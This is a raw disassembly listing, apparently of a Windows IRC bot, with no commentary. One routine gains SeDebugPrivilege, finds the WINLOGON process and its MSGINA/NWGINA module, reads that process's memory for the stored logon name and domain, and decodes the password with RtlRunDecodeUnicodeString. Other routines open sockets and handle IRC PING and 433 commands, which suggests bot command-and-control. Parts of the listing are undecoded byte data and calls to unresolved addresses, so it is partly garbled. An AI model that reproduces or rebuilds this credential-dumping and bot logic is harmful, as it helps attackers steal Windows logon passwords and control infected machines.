		test	eax, eax
		pop	ecx
		jz	short loc_416C90
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h

loc_416C90:				; CODE XREF: sub_416C28+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6D

loc_416CA1:				; CODE XREF: sub_416C28+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi

loc_416CAA:				; CODE XREF: sub_416C28+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C28	endp

; ---------------------------------------------------------------------------
byte_416CAD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+689Fo
		dd 49CEC81h, 458B0000h,	57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
		dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h
		dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h,	0FFFFFEECh
		dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh,	0FFFFFDE8h
		dd 791C6850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h
		dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh
		dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
		dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h
		dd 8D5018C4h, 0FFFB6485h, 78FC68FFh, 0E8500043h, 4B06h
		dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh,	8D50F475h
		dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh
		dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h
		dd 90535959h, 2B923BE8h, 5B5E5F02h, 81EC8B55h, 54CECh
		dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 6068FFFFh
		dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h
		dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h
		dd 93ECBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh,	0E8BD8054h
		dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh
		dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh
		dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh
		dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh,	45892CC4h
		dd 0BC858D1Ch, 50FFFFFEh, 90FC75FFh, 34917FE8h,	75C08502h
		dd 0FC75FF8Fh, 9172E890h, 75FF0232h, 0B8858D14h, 0FFFFFFFDh
		dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh
		dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh
		dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh,	437944h
		dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh
		dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h
		dd 50FFFFFEh, 0F9E89056h, 85023490h, 56B175C0h,	3290EFE8h
		dd 458B9002h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1A	proc near		; DATA XREF: sub_401ACD+1CCFo

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F59
		cmp	eax, 2
		jz	short loc_416F59
		push	offset unk_437B38
		jmp	loc_417098
; ---------------------------------------------------------------------------

loc_416F59:				; CODE XREF: sub_416F1A+2Ej
					; sub_416F1A+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417093
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 2690C6Fh
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D3E1C, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D3E10, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D4020, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D3E18, eax
		call	esi
		mov	dword_4D3E14, eax
		call	sub_4170EC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417066
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D2E10
		push	edi
		push	ebx
		push	offset off_437A74
		call	esi
		push	edi
		mov	edi, offset dword_4D3610
		push	edi
		push	offset off_437A5C
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D4028
		push	[ebp+arg_0]
		jnz	short loc_417012
		call	sub_417275
		jmp	short loc_417017
; ---------------------------------------------------------------------------

loc_417012:				; CODE XREF: sub_416F1A+EFj
		call	sub_41741C

loc_417017:				; CODE XREF: sub_416F1A+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41705F
		cmp	dword_4D4028, 0
		jnz	short loc_417046
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_437A00
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_417079
; ---------------------------------------------------------------------------

loc_417046:				; CODE XREF: sub_416F1A+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417056
		call	sub_417552
		jmp	short loc_41705B
; ---------------------------------------------------------------------------

loc_417056:				; CODE XREF: sub_416F1A+133j
		call	sub_4175E9

loc_41705B:				; CODE XREF: sub_416F1A+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706B
; ---------------------------------------------------------------------------

loc_41705F:				; CODE XREF: sub_416F1A+101j
		push	offset unk_4379C8
		jmp	short loc_41706B
; ---------------------------------------------------------------------------

loc_417066:				; CODE XREF: sub_416F1A+B6j
		push	offset unk_43799C

loc_41706B:				; CODE XREF: sub_416F1A+143j
					; sub_416F1A+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_417079:				; CODE XREF: sub_416F1A+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	near ptr 2790000h
		nop
		pop	ebx
		jmp	short loc_4170A6
; ---------------------------------------------------------------------------

loc_417093:				; CODE XREF: sub_416F1A+4Ej
		push	offset unk_437968

loc_417098:				; CODE XREF: sub_416F1A+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4170A6:				; CODE XREF: sub_416F1A+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CD
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A72
		add	esp, 14h

loc_4170CD:				; CODE XREF: sub_416F1A+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AC
		push	[ebp+var_18]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
sub_416F1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170EC	proc near		; CODE XREF: sub_416F1A+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D3E1C
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27A0000h
		nop
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D3E1C
		test	eax, eax
		jnz	short loc_4171D9
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171D9
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171D9

loc_417175:				; CODE XREF: sub_4170EC+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CC
		push	0
		push	0
		call	dword_4D3E10
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D4020
		test	eax, eax
		jnz	short loc_4171BD
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F1

loc_4171BD:				; CODE XREF: sub_4170EC+AAj
		test	edi, edi
		jz	short loc_4171C8
		push	edi
		call	dword_4D3E18

loc_4171C8:				; CODE XREF: sub_4170EC+D3j
		mov	eax, [esp+28h+var_10]

loc_4171CC:				; CODE XREF: sub_4170EC+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417175

loc_4171D9:				; CODE XREF: sub_4170EC+6Dj
					; sub_4170EC+7Aj ...
		xor	edi, edi

loc_4171DB:				; CODE XREF: sub_4170EC+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27A0000h
		mov	eax, edi

loc_4171E9:				; CODE XREF: sub_4170EC+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------

loc_4171F1:				; CODE XREF: sub_4170EC+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725A
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax

loc_417207:				; CODE XREF: sub_4170EC+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726E
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724C
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax

loc_41724C:				; CODE XREF: sub_4170EC+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417207

loc_41725A:				; CODE XREF: sub_4170EC+10Fj
		test	edi, edi
		jz	short loc_417265
		push	edi
		call	dword_4D3E18

loc_417265:				; CODE XREF: sub_4170EC+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DB
; ---------------------------------------------------------------------------

loc_41726E:				; CODE XREF: sub_4170EC+13Cj
		xor	eax, eax
		jmp	loc_4171E9
sub_4170EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417275	proc near		; CODE XREF: sub_416F1A+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	near ptr 26702E7h
		nop
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729E
		xor	eax, eax
		jmp	loc_417419
; ---------------------------------------------------------------------------

loc_41729E:				; CODE XREF: sub_417275+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27C0000h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EE
		xor	esi, esi
		jmp	loc_41740C
; ---------------------------------------------------------------------------

loc_4172EE:				; CODE XREF: sub_417275+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	near ptr 27B0A68h
		nop
		test	eax, eax
		jz	loc_4173FB
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FB
		test	[ebp+var_2B], 1
		jnz	loc_4173FB
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FB

loc_417351:				; CODE XREF: sub_417275+112j
		push	edi
		push	offset dword_4D2E10
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417379
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D3610
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417389

loc_417379:				; CODE XREF: sub_417275+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FB
		jmp	short loc_417351
; ---------------------------------------------------------------------------

loc_417389:				; CODE XREF: sub_417275+102j
		test	edi, edi
		jz	short loc_4173FB
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 2750000h
		test	eax, eax
		jz	short loc_4173C4
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 2740831h
		test	eax, eax
		jz	short loc_4173C4
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax

loc_4173C4:				; CODE XREF: sub_417275+12Bj
					; sub_417275+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4034, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D402C, eax
		mov	dword_4D4030, edi

loc_4173FB:				; CODE XREF: sub_417275+90j
					; sub_417275+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		call	near ptr 27A0000h
		nop
		mov	esi, [ebp+var_10]

loc_41740C:				; CODE XREF: sub_417275+74j
		push	[ebp+var_4]
		nop
		call	near ptr 26508EFh
		pop	edi
		mov	eax, esi
		pop	ebx

loc_417419:				; CODE XREF: sub_417275+24j
		pop	esi
		leave
		retn
sub_417275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741C	proc near		; CODE XREF: sub_416F1A:loc_417012p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 26702E7h
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750E
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 27C0000h
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417505
		mov	edi, dword_427148

loc_417467:				; CODE XREF: sub_41741C+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 27B0A68h
		nop
		test	eax, eax
		jz	short loc_4174F3
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174F9
		test	[ebp+var_13], 1
		jnz	short loc_4174F9
		push	ecx
		push	8
		call	edi
		push	eax
		call	near ptr 27B0000h
		nop
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 27B0D0Ah
		nop
		test	eax, eax
		jz	short loc_4174E5
		push	offset dword_4D2E10
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E5
		lea	eax, [esi+400h]
		push	offset dword_4D3610
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417515

loc_4174E5:				; CODE XREF: sub_41741C+9Fj
					; sub_41741C+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 27A0000h
		jmp	short loc_4174F9
; ---------------------------------------------------------------------------

loc_4174F3:				; CODE XREF: sub_41741C+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax

loc_4174F9:				; CODE XREF: sub_41741C+71j
					; sub_41741C+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417467

loc_417505:				; CODE XREF: sub_41741C+3Fj
		push	[ebp+arg_0]
		call	near ptr 26508EFh
		nop

loc_41750E:				; CODE XREF: sub_41741C+1Ej
		xor	eax, eax

loc_417510:				; CODE XREF: sub_41741C+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_417515:				; CODE XREF: sub_41741C+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D402C, ebx
		mov	dword_4D4030, eax
		cmp	[eax], cl
		jnz	short loc_417537
		cmp	[eax+1], cl
		jz	short loc_41753F

loc_417537:				; CODE XREF: sub_41741C+114j
					; sub_41741C+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417537

loc_41753F:				; CODE XREF: sub_41741C+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 26508EFh
		push	1
		pop	eax
		jmp	short loc_417510
sub_41741C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417552	proc near		; CODE XREF: sub_416F1A+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D4028
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 27B0000h
		mov	ecx, dword_4D4028
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4030
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4034
		push	eax
		call	dword_4D3E14
		push	[ebp+var_4]
		mov	edi, offset dword_4D3E20
		push	offset dword_4D2E10
		push	offset dword_4D3610
		push	[ebp+arg_0]
		push	offset dword_437B84
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		call	near ptr 27A0000h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175E9	proc near		; CODE XREF: sub_416F1A:loc_417056p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D4028
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 27B0A21h
		push	eax
		nop
		call	near ptr 27B0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D3610
		mov	edi, 200h
		mov	esi, offset dword_4D2C10

loc_41762F:				; CODE XREF: sub_4175E9+FAj
		mov	eax, dword_4D4028
		add	eax, eax
		push	eax
		push	dword_4D4030
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D3E14
		mov	eax, dword_4D4028
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A4

loc_41766C:				; CODE XREF: sub_4175E9+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417690
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417690
		cmp	dl, 20h
		jnb	short loc_41768A
		and	[ebp+var_8], 0

loc_41768A:				; CODE XREF: sub_4175E9+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417694

loc_417690:				; CODE XREF: sub_4175E9+90j
					; sub_4175E9+96j
		and	[ebp+var_8], 0

loc_417694:				; CODE XREF: sub_4175E9+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766C
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1

loc_4176A4:				; CODE XREF: sub_4175E9+81j
		push	[ebp+var_14]
		push	offset dword_4D2E10
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437B84
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176D9
; ---------------------------------------------------------------------------

loc_4176C1:				; CODE XREF: sub_4175E9+87j
					; sub_4175E9+B9j
		push	offset dword_4D2E10
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437BD4
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h

loc_4176D9:				; CODE XREF: sub_4175E9+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_41762F
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 27B0A21h
		push	eax
		nop
		call	near ptr 27A0000h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417702	proc near		; CODE XREF: sub_4178BA+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB024
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777E
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAFA4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFE4
		cmp	eax, esi
		jnz	short loc_417763
		push	[ebp+arg_0]
		call	dword_4CB028
		test	eax, eax
		jz	short loc_41777E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_417763:				; CODE XREF: sub_417702+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF4C
		cmp	eax, esi
		jnz	short loc_417782
		push	edi
		call	dword_4CB03C

loc_41777E:				; CODE XREF: sub_417702+1Bj
					; sub_417702+58j
		mov	eax, esi
		jmp	short loc_417784
; ---------------------------------------------------------------------------

loc_417782:				; CODE XREF: sub_417702+73j
		mov	eax, edi

loc_417784:				; CODE XREF: sub_417702+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417702	endp


; =============== S U B	R O U T	I N E =======================================



sub_417788	proc near		; CODE XREF: sub_401ACD+3294p
					; sub_401ACD+3300p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_4299C8 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D403C
		pop	ecx

loc_4177A0:				; CODE XREF: sub_417788+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BE
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BE
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CAFF4

loc_4177BE:				; CODE XREF: sub_417788+1Cj
					; sub_417788+21j
		add	esi, 210h
		cmp	esi, offset dword_4DA75C
		jl	short loc_4177A0
		pop	edi
		pop	esi
		retn
sub_417788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177CF	proc near		; CODE XREF: sub_4178BA+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CA64 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx

loc_4177F4:				; CODE XREF: sub_4177CF+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F4
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781C
		cmp	esi, edi
		jnz	short loc_41781C
		push	1
		pop	eax
		jmp	loc_4178B5
; ---------------------------------------------------------------------------

loc_41781C:				; CODE XREF: sub_4177CF+3Fj
					; sub_4177CF+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417837
		push	offset dword_4387EC
		jmp	short loc_417885
; ---------------------------------------------------------------------------

loc_417837:				; CODE XREF: sub_4177CF+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417858
